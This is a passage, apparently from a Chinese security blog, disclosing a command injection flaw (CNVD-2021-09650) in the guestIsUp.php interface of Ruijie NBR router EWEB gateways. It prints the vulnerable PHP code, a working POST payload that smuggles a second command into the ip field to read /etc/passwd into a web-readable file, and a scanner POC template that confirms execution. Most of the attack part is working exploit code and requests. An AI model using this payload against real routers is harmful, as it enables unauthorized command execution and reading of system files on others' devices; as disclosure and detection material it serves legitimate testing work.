漏洞信息

锐捷NBR路由器 EWEB网关系统部分接口存在命令注入,可以通过POST请求访问关键路径/guest_auth/guestIsUp.php,并在请求体ip参数中写入命令执行语句。

1、请求体payload

1
mac=1&ip=127.0.0.1|cat /etc/passwd > test.txt
  • 注意:判断是否成功条件是payload写入状态码为200,其次访问写入的文件/guest_auth/test.txt能够回显出命令执行结果。

  • 漏洞触发源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    //查询用户是否上线了
    $userip = @$_POST['ip'];
    $usermac = @$_POST['mac'];

    if (!$userip || !$usermac) {
    exit;
    }
    /* 判断该用户是否已经放行 */
    $cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
    $res = exec($cmd, $out, $status);
    /* 如果已经上线成功 */
    if (strstr($out[0], "status:1")) {
    echo 'true';
    }
    ?>

截图

文件读取回显命令执行结果
文件读取回显命令执行结果

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
id: CNVD-2021-09650

info:
name: 锐捷网络股份有限公司NBR路由器EWEB网管系统存在命令执行漏洞
author: alexto
severity: critical
description: |
app="Ruijie-EWEB网管系统"
reference:
- https://xz.aliyun.com/t/9016?page=1
- https://www.ruijie.com.cn/gy/xw-aqtg-gw/86747/
- http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

set:
payload: randomLowercase(20)
randstr: randomLowercase(10)
rules:
r0:
request:
method: POST
path: /guest_auth/guestIsUp.php
body: |
mac=1&ip=127.0.0.1|echo '{{payload}}' > {{randstr}}.txt
expression: response.status == 200
r1:
request:
method: GET
path: /guest_auth/{{randstr}}.txt
expression: response.status == 200 && response.body.bcontains(bytes(payload))
expression: r0() && r1()

参考链接


本站由 MY 使用 Stellar 1.33.1 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。